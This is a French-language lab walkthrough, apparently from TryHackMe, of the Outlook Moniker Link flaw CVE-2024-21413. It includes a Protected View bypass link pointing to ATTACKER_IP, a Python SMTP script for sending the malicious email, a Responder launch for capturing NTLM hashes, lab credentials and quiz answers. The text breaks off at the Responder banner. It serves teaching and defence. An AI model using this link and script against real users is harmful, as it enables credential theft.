
Exploit pédagogique pour CVE-2024-21413 (Moniker Link) démontrant l'exécution de code à distance (RCE) dans Outlook et la fuite d'identifiants NTLM via des hyperliens malveillants, avec des conseils de détection et de remédiation.
Le 13 février 2024, Microsoft a annoncé une vulnérabilité de RCE et de fuite d'identifiants dans Microsoft Outlook, à laquelle a été attribué le CVE CVE-2024-21413 (Moniker Link). Haifei Li de Check Point Research est crédité de la découverte de la vulnérabilité.
La vulnérabilité contourne les mécanismes de sécurité d'Outlook lorsqu'il traite un type spécifique d'hyperlien appelé Moniker Link. Un attaquant peut en abuser en envoyant un e-mail contenant un Moniker Link malveillant à une victime, ce qui entraîne l'envoi des identifiants NTLM de l'utilisateur à l'attaquant une fois l'hyperlien cliqué.
Les détails concernant la notation de la vulnérabilité sont fournis dans le tableau ci-dessous :
CVSS Description Date de publication 13 février 2024 Article MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impact Exécution de code à distance et fuite d'identifiants Gravité Critique Complexité de l'attaque Faible Score 9.8
On sait que la vulnérabilité affecte les versions suivantes d'Office :
Version Version Microsoft Office LTSC 2021 affecté à partir de 19.0.0 Microsoft 365 Apps for Enterprise affecté à partir de 16.0.1 Microsoft Office 2019 affecté à partir de 16.0.1 Microsoft Office 2016 affecté à partir de 16.0.0 avant 16.0.5435.1001
Notez que vous aurez besoin à la fois de l'AttackBox et de la machine vulnérable attachée à cette tâche. Pour déployer la VM jointe, appuyez sur le bouton vert Start Machine ci-dessous.
Nom d'utilisateur tryhackme Mot de passe Kkh3gv439dnq!
Quelle note de « Gravité » a été attribuée au CVE ? > RÉPONSE : Critique
Outlook peut afficher les e-mails au format HTML. Vous avez peut-être remarqué que vos newsletters préférées utilisent cela. De plus, Outlook peut analyser les hyperliens comme HTTP et HTTPS. Cependant, il peut également ouvrir des URL spécifiant des applications appelées Moniker Links. Normalement, Outlook affiche un avertissement de sécurité lorsque des applications externes sont déclenchées.
La Protected View d'Outlook est déclenchée lors du lancement d'une application externe
Cette fenêtre contextuelle est le résultat de la « Protected View » d'Outlook. La Protected View ouvre les e-mails contenant des pièces jointes, des hyperliens et du contenu similaire en mode lecture seule, bloquant des éléments tels que les macros (en particulier celles provenant de l'extérieur d'une organisation).
En utilisant le Moniker Link file:// dans notre hyperlien, nous pouvons demander à Outlook de tenter d'accéder à un fichier, par exemple un fichier sur un partage réseau (<a href="file://ATTACKER_IP/test">Click me</a>). Le protocole SMB est utilisé, ce qui implique l'utilisation des identifiants locaux pour l'authentification. Cependant, la « Protected View » d'Outlook intercepte et bloque cette tentative.
La vulnérabilité réside ici dans le fait de modifier notre hyperlien pour inclure le caractère spécial ! et du texte dans notre Moniker Link, ce qui permet de contourner la Protected View d'Outlook. Par exemple : <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
En tant qu'attaquants, nous pouvons fournir un Moniker Link de cette nature pour l'attaque. Notez que le partage n'a pas besoin d'exister sur l'appareil distant, car une tentative d'authentification sera effectuée de toute façon, ce qui entraînera l'envoi du hash netNTLMv2 Windows de la victime à l'attaquant.
L'exécution de code à distance (RCE) est possible car les Moniker Links utilisent le Component Object Model (COM) sur Windows. Cependant, expliquer cela dépasse actuellement le cadre de cette salle, car il n'y a pas de preuve de concept publiée publiquement pour réaliser une RCE via ce CVE spécifique.
Quel type de Moniker Link utilisons-nous dans l'hyperlien ? > RÉPONSE : file:// Quel est le caractère spécial utilisé pour contourner la « Protected View » d'Outlook ? > RÉPONSE : !
Pour cette attaque, nous enverrons à notre victime un Moniker Link similaire à celui fourni dans la tâche précédente. L'objectif, en tant qu'attaquant, est de créer un e-mail destiné à la victime avec un Moniker Link qui contourne la « Protected View » d'Outlook, où le client de la victime tentera de charger un fichier à partir de notre machine d'attaque, ce qui entraînera la capture du hash netNTLMv2 de la victime.
Mais d'abord, passons en revue un PoC que j'ai créé (également disponible sur GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
Le PoC :
Utilisons Responder pour créer un écouteur SMB sur notre machine d'attaque. Pour l'AttackBox THM, l'interface sera -I ens5. Le nom de l'interface différera si vous utilisez votre propre appareil (ex. Kali). Si vous voulez un peu de travail supplémentaire, un serveur Impacket peut également être utilisé.
Lancement de Responder sur notre AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0